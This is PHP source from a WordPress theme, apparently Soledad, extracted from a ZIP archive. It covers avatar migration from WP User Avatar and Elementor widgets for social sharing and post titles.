				$file_name_data = pathinfo( wp_get_original_image_path( $media_id ) );
			} else {
				$file_name_data = pathinfo( get_attached_file( $media_id ) );
			}

			$file_dir_name = $file_name_data['dirname'];
			$file_name     = $file_name_data['filename'];
			$file_ext      = $file_name_data['extension'];
			foreach ( $local_avatars as $local_avatars_key => $local_avatar_value ) {
				if ( ! in_array( $local_avatars_key, [ 'media_id', 'full' ], true ) ) {
					$file_size_path = sprintf( '%1$s/%2$s-%3$sx%3$s.%4$s', $file_dir_name, $file_name, $local_avatars_key, $file_ext );
					if ( ! file_exists( $file_size_path ) ) {
						unset( $local_avatars[ $local_avatars_key ] );
					}
				}
			}

			// Update meta, remove sizes that don't exist.
			update_user_meta( $user_id, 'penci_avatar', $local_avatars );
		}
	}

	/**
	 * Add default avatar upload file field.
	 *
	 * @param array $defaults Default options for avatar.
	 *
	 * @return array Default options of avatar.
	 */
	public function add_avatar_default_field( $defaults ) {
		
		$default_avatar_file_url = '';
		$default_avatar_file_id  = get_option( 'penci_avatar_default', '' );
		if ( ! empty( $default_avatar_file_id ) ) {
			$default_avatar_file_url = wp_get_attachment_image_url( $default_avatar_file_id );
		}
		ob_start();
		?>
        <input type="hidden" name="penci-avatar-file-id" id="penci-avatar-file-id"
               value="<?php echo ! empty( $default_avatar_file_id ) ? esc_attr( $default_avatar_file_id ) : ''; ?>"/>
        <input type="hidden" name="penci-avatar-file-url" id="penci-avatar-file-url"
               value="<?php echo ! empty( $default_avatar_file_url ) ? esc_url( $default_avatar_file_url ) : ''; ?>"/>
        <input type="button" name="penci-avatar" id="penci-avatar-default" class="button-secondary"
               value="<?php esc_attr_e( 'Choose Default Avatar', 'penci-avatar' ); ?>"/>
		<?php
		$defaults['penci_avatar'] = ob_get_clean();

		return $defaults;
	}

	/**
	 * Save default avatar attachment id in option.
	 */
	private function save_default_avatar_file_id() {
		global $pagenow;

		$file_id = filter_input( INPUT_POST, 'penci-avatar-file-id', FILTER_SANITIZE_NUMBER_INT );

		// check for uploaded files
		if ( 'options.php' === $pagenow && ! empty( $file_id ) ) {
			update_option( 'penci_avatar_default', $file_id );
		}
	}

	/**
	 * Migrate the user's avatar data from WP User Avatar/ProfilePress
	 *
	 * This function creates a new option in the wp_options table to store the processed user IDs
	 * so that we can run this command multiple times without processing the same user over and over again.
	 *
	 * Credit to Philip John for the Gist
	 *
	 * @see https://gist.github.com/philipjohn/822d3521a95481f6ad7e118a7106fbc7
	 *
	 * @return int
	 */
	public function migrate_from_wp_user_avatar() {

		global $wpdb;

		$count = 0;

		// Support single site and multisite installs.
		// Use WordPress function if running multisite.
		// Create generic class if running single site.
		if ( is_multisite() ) {
			$sites = get_sites();
		} else {
			$site          = new stdClass();
			$site->blog_id = 1;
			$sites         = array( $site );
		}

		// Bail early if we don't find sites.
		if ( empty( $sites ) ) {
			return $count;
		}

		foreach ( $sites as $site ) {
			// Get the blog ID to use in the meta key and user query.
			$blog_id = isset( $site->blog_id ) ? $site->blog_id : 1;

			// Get the name of the meta key for WP User Avatar.
			$meta_key = $wpdb->get_blog_prefix( $blog_id ) . 'user_avatar';

			// Get processed users from database.
			$migrations      = get_option( 'penci_avatars_migrations', array() );
			$processed_users = isset( $migrations['wp_user_avatar'] ) ? $migrations['wp_user_avatar'] : array();

			// Get all users that have a local avatar.
			$users = get_users( array(
				'blog_id'      => $blog_id,
				'exclude'      => $processed_users,
				'meta_key'     => $meta_key,
				'meta_compare' => 'EXISTS',
			) );

			// Bail early if we don't find users.
			if ( empty( $users ) ) {
				continue;
			}

			foreach ( $users as $user ) {
				// Get the existing avatar media ID.
				$avatar_id = get_user_meta( $user->ID, $meta_key, true );

				// Attach the user and media to Penci Avatars.
				$sla = new Penci_Avatars();
				$sla->assign_new_user_avatar( (int) $avatar_id, $user->ID );

				// Check that it worked.
				$is_migrated = get_user_meta( $user->ID, 'penci_avatar', true );

				if ( ! empty( $is_migrated ) ) {
					// Build array of user IDs.
					$migrations['wp_user_avatar'][] = $user->ID;

					// Record the user IDs so we don't process a second time.
					$is_saved = update_option( 'penci_avatars_migrations', $migrations );

					// Record how many avatars we migrate to be used in our messaging.
					if ( $is_saved ) {
						$count ++;
					}
				}
			}
		}

		return $count;
	}

	/**
	 * Migrate the user's avatar data away from WP User Avatar/ProfilePress via the dashboard.
	 *
	 * Sends the number of avatars processed back to the AJAX response before stopping execution.
	 *
	 * @return void
	 */
	public function ajax_migrate_from_wp_user_avatar() {
		// Bail early if nonce is not available.
		if ( empty( sanitize_text_field( $_POST['migrateFromWpUserAvatarNonce'] ) ) ) {
			die;
		}

		// Bail early if nonce is invalid.
		if ( ! wp_verify_nonce( sanitize_text_field( $_POST['migrateFromWpUserAvatarNonce'] ), 'migrate_from_wp_user_avatar_nonce' ) ) {
			die();
		}

		// Run the migration script and store the number of avatars processed.
		$count = $this->migrate_from_wp_user_avatar();

		// Create the array we send back to javascript here.
		$array_we_send_back = array( 'count' => $count );

		// Make sure to json encode the output because that's what it is expecting.
		echo wp_json_encode( $array_we_send_back );

		// Make sure you die when finished doing ajax output.
		wp_die();

	}

	/**
	 * Migrate the user's avatar data from WP User Avatar/ProfilePress via the command line.
	 *
	 * ## OPTIONS
	 *
	 * [--yes]
	 * : Skips the confirmations (for automated systems).
	 *
	 * ## EXAMPLES
	 *
	 *     $ wp penci-avatars migrate wp-user-avatar
	 *     Success: Number of avatars successfully migrated from WP User Avatar: 5
	 *
	 * @param array $args The arguments.
	 * @param array $assoc_args The associative arguments.
	 *
	 * @return void
	 */
	public function wp_cli_migrate_from_wp_user_avatar( $args, $assoc_args ) {

		// Argument --yes to prevent confirmation (for automated systems).
		if ( ! isset( $assoc_args['yes'] ) ) {
			WP_CLI::confirm( esc_html__( 'Do you want to migrate avatars from WP User Avatar?', 'soledad' ) );
		}

		// Run the migration script and store the number of avatars processed.
		$count = $this->migrate_from_wp_user_avatar();

		// Error out if we don't process any avatars.
		if ( 0 === absint( $count ) ) {
			WP_CLI::error( esc_html__( 'No avatars were migrated from WP User Avatar.', 'soledad' ) );
		}

		WP_CLI::success( sprintf( '%s: %s', esc_html__( 'Number of avatars successfully migrated from WP User Avatar', 'soledad' ), esc_html( $count ) ) );
	}
}
PK     2w\#A  A  *  template-builder/single-elements/share.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleShare extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Social Share', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-share-arrow';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'comment', 'share' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-share elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-share';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$share_style = [];
		for ( $i = 1; $i <= 23; $i ++ ) {
			$v                      = $i < 4 ? 's' : 'n';
			$n                      = $i < 4 ? $i : $i - 3;
			$share_style[ $v . $n ] = 'Style ' . $i;
		}

		$this->add_control( 'penci_single_style_cscount', [
			'label'   => esc_html__( 'Share Style', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 's1',
			'options' => $share_style
		] );

		$this->add_control( 'penci_post_share_disbtnplus', [
			'label' => esc_html__( 'Hide Plus Button?', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'penci_single_meta_comment', [
			'label'     => esc_html__( 'Hide Comment?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'condition' => [ 'penci_single_style_cscount' => [ 's1', 's2', 's3' ] ],
		] );

		$this->add_control( 'penci_single_share_label', [
			'label'     => esc_html__( 'Hide Share Label?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'condition' => [ 'penci_single_style_cscount!' => [ 's1', 's2', 's3' ] ],
			'selectors' => [ '{{WRAPPER}} .penci-social-share-text' => 'display:none !important' ],
		] );

		$this->add_control( 'penci__hide_share_plike', [
			'label' => esc_html__( 'Hide Post Like?', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'meta_align', [
			'label'     => __( 'Social Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'default'   => 'left',
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'    => true,
			'selectors' => [ '{{WRAPPER}} .tags-share-box' => 'text-align:{{VALUE}}' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'label_style', [
			'label'     => esc_html__( 'Colors', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_share_label!' => [ 'yes' ] ],
		] );

		$this->add_control( 'comment_text_color', [
			'label'     => 'Comment Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .single-comment-o'                       => 'color:{{VALUE}}',
				'{{WRAPPER}} .tags-share-box .single-comment-o:after' => 'background-color:{{VALUE}};opacity: 0.5;'
			],
			'condition' => [ 'penci_single_style_cscount' => [ 's1' ] ],
		] );

		$this->add_control( 'label_color', [
			'label'     => 'Share Label Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcnew-share .penci-social-share-text,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .penci-social-share-text' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'label_icolor', [
			'label'     => 'Share Label Icon Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcnew-share .penci-social-share-text i,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .penci-social-share-text i' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'label_bdcolor', [
			'label'     => 'Share Label Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .pcnew-share .penci-social-share-text'                 => 'border-color:{{VALUE}}',
				'{{WRAPPER}} .pcnew-share .penci-social-share-text:before'          => 'border-left-color:{{VALUE}}',
				'body.rtl {{WRAPPER}} .pcnew-share .penci-social-share-text:before' => 'border-left-color:transparent;border-right-color:{{VALUE}}',
			],
		] );

		$this->add_control( 'label_bgcolor', [
			'label'     => 'Share Label Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .pcnew-share .penci-social-share-text'                => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .pcnew-share .penci-social-share-text:after'          => 'border-left-color:{{VALUE}};',
				'body.rtl {{WRAPPER}} .pcnew-share .penci-social-share-text:after' => 'border-right-color:{{VALUE}};',
			],
		] );

		$this->add_control( 'like_btn_head', [
			'label' => 'Like Button',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'likebtn_bgcolor', [
			'label'     => 'Like Button Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .post-share-plike,{{WRAPPER}} .tags-share-box-n19.post-share a.penci-post-like,{{WRAPPER}} .tags-share-box-n20.post-share a.penci-post-like,{{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-plike,{{WRAPPER}} .pcnew-share .post-share-item.post-share-plike' => 'background-color:{{VALUE}}' ],
			'condition' => [
				'penci_single_style_cscount!' => [ 's1' ]
			],
		] );

		$this->add_control( 'likebtn_color', [
			'label'     => 'Like Button Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .black-ver .post-share-plike i,{{WRAPPER}} .post-share.tags-share-box-2_3.post-share .count-number-like,{{WRAPPER}} .tags-share-box.tags-share-box-2_3.post-share .post-share-item .penci-post-like,{{WRAPPER}} .pcnew-share.penci-icon-full .post-share-item.post-share-plike i,{{WRAPPER}} .tags-share-box-n19.pcnew-share.border-style .post-share-item.post-share-plike i, {{WRAPPER}} .tags-share-box-n20.pcnew-share.border-style .post-share-item.post-share-plike i, {{WRAPPER}} .tags-share-box-n20 .post-share-item.post-share-plike i,{{WRAPPER}} .penci-social-textcolored .post-share-plike i.fa-heart-o, {{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-plike .count-number-like,{{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-plike .penci-post-like,{{WRAPPER}} .pcnew-share .post-share-item.post-share-plike .count-number-like,{{WRAPPER}} .pcnew-share .post-share-item.post-share-plike .penci-post-like' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'likebtn_bcolor', [
			'label'     => 'Like Button Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-plike,{{WRAPPER}} .pcnew-share .post-share-item.post-share-plike' => 'border-color:{{VALUE}}' ],
			'condition' => [
				'penci_single_style_cscount' => [ 'n16', 'n17', 'n18', 'n19', 'n20', 'n21', 'n22', 'n23' ]
			],
		] );

		$this->add_control( 'social_color_head', [
			'label'     => 'Social Icons',
			'type'      => \Elementor\Controls_Manager::HEADING,
			'condition' => [
				'penci_single_style_cscount' => [
					's1',
					's3',
					'n14',
					'n15',
					'n17',
					'n18',
					'n19',
					'n20',
					'n21',
					'n22',
					'n23'
				]
			],
		] );

		$this->add_control( 'social_bgcolor', [
			'label'     => 'Social Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} a.post-share-item,{{WRAPPER}} .black-ver .post-share-item,{{WRAPPER}} .black-ver .post-share-item i' => 'background-color:{{VALUE}}' ],
			'condition' => [
				'penci_single_style_cscount' => [
					's1',
					's3',
					'n14',
					'n15',
					'n16',
					'n17',
					'n18',
					'n19',
					'n20',
					'n21',
					'n22',
					'n23'
				]
			],
		] );

		$this->add_control( 'social_bghcolor', [
			'label'     => 'Social Hover Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} a.post-share-item:hover,{{WRAPPER}} .black-ver .post-share-item:hover,{{WRAPPER}} .black-ver .post-share-item:hover i' => 'background-color:{{VALUE}}' ],
			'condition' => [
				'penci_single_style_cscount' => [
					's1',
					's3',
					'n14',
					'n15',
					'n16',
					'n17',
					'n18',
					'n19',
					'n20',
					'n21',
					'n22',
					'n23'
				]
			],
		] );

		$this->add_control( 'social_color', [
			'label'     => 'Social Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} a.post-share-item,{{WRAPPER}} .black-ver .post-share-item i,{{WRAPPER}} .show-txt.post-share a .dt-share' => 'color:{{VALUE}}' ],
			'condition' => [
				'penci_single_style_cscount' => [
					's1',
					's3',
					'n14',
					'n15',
					'n17',
					'n18',
					'n19',
					'n20',
					'n21',
					'n22',
					'n23'
				]
			],
		] );

		$this->add_control( 'social_hcolor', [
			'label'     => 'Social Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} a.post-share-item:hover,{{WRAPPER}} .black-ver .post-share-item:hover i,{{WRAPPER}} .show-txt.post-share a:hover .dt-share' => 'color:{{VALUE}}' ],
			'condition' => [
				'penci_single_style_cscount' => [
					's1',
					's3',
					'n14',
					'n15',
					'n17',
					'n18',
					'n19',
					'n20',
					'n21',
					'n22',
					'n23'
				]
			],
		] );

		$this->add_control( 'social_bcolor', [
			'label'     => 'Social Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} a.post-share-item,{{WRAPPER}} .pcnew-share.penci-icon-full.border-style .post-share-item i' => 'border-color:{{VALUE}}' ],
			'condition' => [
				'penci_single_style_cscount' => [ 's1', 's3', 'n16', 'n17', 'n18', 'n19', 'n20', 'n21', 'n22', 'n23' ]
			],
		] );

		$this->add_control( 'social_bhcolor', [
			'label'     => 'Social Hover Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} a.post-share-item:hover,{{WRAPPER}} .pcnew-share.penci-icon-full.border-style .post-share-item:hover i' => 'border-color:{{VALUE}}' ],
			'condition' => [
				'penci_single_style_cscount' => [ 's1', 's3', 'n16', 'n17', 'n18', 'n19', 'n20', 'n21', 'n22', 'n23' ]
			],
		] );

		$this->add_control( 'plus_btn_head', [
			'label' => 'Plus Button',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'plus_btn_color', [
			'label'     => 'Plus Button Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} a.post-share-expand,{{WRAPPER}} .black-ver .post-share-expand i,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .post-share-expand,{{WRAPPER}} .penci-social-colored .post-share-item.post-share-expand i, {{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand i' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'plus_btn_hcolor', [
			'label'     => 'Plus Button Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} a.post-share-expand:hover,{{WRAPPER}} .black-ver .post-share-expand:hover i,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .post-share-expand:hover,{{WRAPPER}} .penci-social-colored .post-share-item.post-share-expand:hover i, {{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand:hover i' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'plus_btn_bgcolor', [
			'label'     => 'Plus Button Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} a.post-share-expand,{{WRAPPER}} .black-ver .post-share-expand,{{WRAPPER}} .black-ver .post-share-expand i,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .post-share-expand,{{WRAPPER}} .penci-social-colored .post-share-item.post-share-expand i, {{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand' => 'background-color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'plus_btn_bghcolor', [
			'label'     => 'Plus Button Background Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} a.post-share-expand:hover,{{WRAPPER}} .black-ver .post-share-expand:hover,{{WRAPPER}} .black-ver .post-share-expand:hover i,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .post-share-expand:hover,{{WRAPPER}} .penci-social-colored .post-share-item.post-share-expand:hover i, {{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand:hover' => 'background-color:{{VALUE}} !important' ],
		] );

		$this->end_controls_section();

	}

	protected function render() {

		$settings = $this->get_settings();

		$style_cscount    = $settings['penci_single_style_cscount'];
		$wrapper_class    = array();
		$wrapper_class[]  = 'tags-share-box';
		$wrapper_class[]  = is_page() ? 'page-share hide-tags' : 'single-post-share';
		$wrapper_class[]  = 'tags-share-box-' . $style_cscount;
		$wrapper_class_c1 = 's1' == $style_cscount ? ' center-box' : ' tags-share-box-2_3';
		$wrapper_class[]  = strpos( $style_cscount, 'n' ) !== false ? ' pcnew-share' : $wrapper_class_c1;

		if ( $settings['penci_post_share_disbtnplus'] ) {
			$wrapper_class[] = 'disable-btnplus';
		}

		if ( in_array( $style_cscount, [ 'n1', 'n3', 'n5', 'n8', 'n9', 'n10', 'n11', 'n12', 'n13', 'n19', 'n20' ] ) ) {
			$wrapper_class[] = ' penci-social-colored';
		}

		if ( in_array( $style_cscount, [
			'n1',
			'n3',
			'n5',
			'n8',
			'n9',
			'n10',
			'n11',
			'n12',
			'n13',
			'n14',
			'n16',
			'n19',
			'n20'
		] ) ) {
			$wrapper_class[] = ' penci-icon-full';
		}

		if ( in_array( $style_cscount, [ 'n2', 'n4', 'n6', 'n7', 'n9', 'n11', 'n13' ] ) ) {
			$wrapper_class[] = ' tags-share-box-s2';
		}

		if ( in_array( $style_cscount, [
			'n2',
			'n4',
			'n6',
			'n7',
			'n9',
			'n11',
			'n13',
			'n15',
			'n17',
			'n18',
			'n19',
			'n20'
		] ) ) {
			$wrapper_class[] = ' show-txt';
		}

		if ( in_array( $style_cscount, [ 'n3', 'n4', 'n18' ] ) ) {
			$wrapper_class[] = ' rounder';
		}

		if ( in_array( $style_cscount, [ 'n5', 'n6', 'n10', 'n11' ] ) ) {
			$wrapper_class[] = ' show-shadow';
		}

		if ( in_array( $style_cscount, [ 'n7' ] ) ) {
			$wrapper_class[] = ' focus-icon';
		}

		if ( in_array( $style_cscount, [ 'n8', 'n9', 'n10', 'n11', 'n12', 'n13' ] ) ) {
			$wrapper_class[] = ' size-large';
		}

		if ( in_array( $style_cscount, [ 'n9', 'n11', 'n13' ] ) ) {
			$wrapper_class[] = ' txt-below';
		}

		if ( in_array( $style_cscount, [ 'n12', 'n13' ] ) ) {
			$wrapper_class[] = ' no-spacing';
		}

		if ( in_array( $style_cscount, [ 'n14', 'n15' ] ) ) {
			$wrapper_class[] = ' black-ver';
		}

		if ( in_array( $style_cscount, [ 'n16', 'n17', 'n18', 'n19', 'n20' ] ) ) {
			$wrapper_class[] = ' border-style';
		}

		if ( in_array( $style_cscount, [ 'n16', 'n17', 'n18' ] ) ) {
			$wrapper_class[] = ' penci-social-textcolored';
		}

		if ( in_array( $style_cscount, [ 'n19', 'n20' ] ) ) {
			$wrapper_class[] = ' full-border';
		}

		?>
        <div class="<?php echo esc_attr( implode( ' ', $wrapper_class ) ); ?> post-share<?php if ( $settings['penci__hide_share_plike'] ): echo ' hide-like-count'; endif; ?>">
			<?php
			if ( 's1' != $style_cscount ) {
				echo '<span class="penci-social-share-text">';
				echo '<i class="penciicon-sharing"></i>';
				echo penci_get_setting( 'penci_trans_share' ) ? do_shortcode( penci_get_setting( 'penci_trans_share' ) ) : 'Share';
				echo '</span>';
			}
			?>
			<?php if ( ! $settings['penci_single_meta_comment'] && 's1' == $style_cscount && ! is_page() ) : ?>
                <span class="single-comment-o"><?php penci_fawesome_icon( 'far fa-comment' ); ?><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></span>
			<?php endif; ?>

			<?php if ( ! $settings['penci__hide_share_plike'] && ! is_page() ): ?>
                <span class="post-share-item post-share-plike">
		            <?php echo penci_single_getPostLikeLink( get_the_ID() ); ?>
                    </span>
			<?php endif; ?>
			<?php penci_soledad_social_share(); ?>
        </div>
		<?php

	}
}
PK     2w\7I    *  template-builder/single-elements/title.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleTitle extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Title', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-site-title';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'title' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-ptitle elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-title';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'heading_markup', [
			'label'   => esc_html__( 'Title Markup', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'h1',
			'options' => [
				'h1' => 'H1',
				'h2' => 'H2',
				'h3' => 'H3',
				'h4' => 'H4',
				'h5' => 'H5',
				'h6' => 'H6',
			]
		] );

		$this->add_control( 'heading_align', [
			'label'   => __( 'Post Title Align', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::CHOOSE,
			'default' => 'left',
			'options' => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'  => true,
		] );

		$this->add_control( 'heading_line', [
			'label'     => __( 'Remove Heading Line', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [
				'{{WRAPPER}} .header-standard:after' => 'display:none',
				'{{WRAPPER}} .header-standard'       => 'padding:0;margin:0;',
			],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'heading_typo',
			'label'    => __( 'Typography for Post Title', 'soledad' ),
			'selector' => '{{WRAPPER}} .post-title',
		) );

		$this->add_control( 'main-text-color', [
			'label'     => 'Post Title Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-title' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'main-text-gcolor-enable', [
			'label' => 'Enable Gradient Color for Post Title',
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_group_control( \Elementor\Group_Control_Background::get_type(), array(
			'name'      => 'main-text-gcolor',
			'label'     => __( 'Gradient Color', 'soledad' ),
			'types'     => array( 'gradient' ),
			'selector'  => '{{WRAPPER}} .post-title.single-post-title span',
			'condition' => [ 'main-text-gcolor-enable' => 'yes' ]
		) );

		$this->add_control( 'main-text-inlinecolor-e', [
			'label'     => 'Use Inline Background Color?',
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [
				'{{WRAPPER}} .post-title' => 'background-color:var(--pcaccent-cl);display:inline;box-decoration-break: clone;padding: 3px 8px;',
				'{{WRAPPER}} .header-standard' => 'padding-top: 3px',
			],
		] );

		$this->add_control( 'main-text-inlinecolor', [
			'label'     => 'Inline Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-title' => 'background-color:{{VALUE}}' ],
			'condition' => ['main-text-inlinecolor-e'=>'yes']
		] );

		$this->add_control( 'main-text-inline-d', [
			'label'     => 'Inline Background Padding',
			'type'      => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => [ 'px'],
			'selectors' => [
				'{{WRAPPER}} .post-title' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .header-standard' => 'padding-top: {{TOP}}{{UNIT}}',
			],
			'condition' => ['main-text-inlinecolor-e'=>'yes']
		] );

		$this->add_control( 'heading-line-color', [
			'label'     => 'Heading Line Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .header-standard:after' => 'background-color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'heading-line-s', [
			'label'      => 'Heading Line Spacing with Title',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 500 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .header-standard' => 'padding-bottom:{{SIZE}}px;',
			],
		] );

		$this->add_control( 'heading-line-w', [
			'label'      => 'Heading Line Width',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 500 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .header-standard:after'              => 'width:{{SIZE}}px !important;',
				'{{WRAPPER}} .header-standard.align-center:after' => 'margin-left:calc({{SIZE}}px / 2 * -1)',
			],
		] );

		$this->add_control( 'heading-line-h', [
			'label'      => 'Heading Line Height',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 50 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .header-standard:after' => 'height:{{SIZE}}px !important;',
			],
		] );

		$this->end_controls_section();

	}

	protected function render() {
		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}
	}

	protected function preview_content() {
		$settings      = $this->get_settings();
		$class         = $settings['main-text-gcolor-enable'] ? ' gradient-enable' : '';
		$heading_tag   = $settings['heading_markup'];
		$heading_align = $settings['heading_align'];
		echo '<div class="header-standard align-' . $heading_align . $class . '"><' . $heading_tag . ' class="post-title single-post-title entry-title"><span>Demo Post Title</span></' . $heading_tag . '></div>';
	}

	protected function builder_content() {
		$settings      = $this->get_settings();
		$heading_tag   = $settings['heading_markup'];
		$heading_align = $settings['heading_align'];
		$class         = $settings['main-text-gcolor-enable'] ? ' gradient-enable' : '';
		echo '<div class="header-standard align-' . $heading_align . $class . '"><' . $heading_tag . ' class="post-title single-post-title entry-title"><span>' . get_the_title() . '</span></' . $heading_tag . '></div>';
	}
}
PK     2w\ZfO"  O"  (  template-builder/single-elements/toc.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleToc extends \Elementor\Widget_Base {

	public function get_name() {
		return 'penci-single-toc';
	}

	public function get_title() {
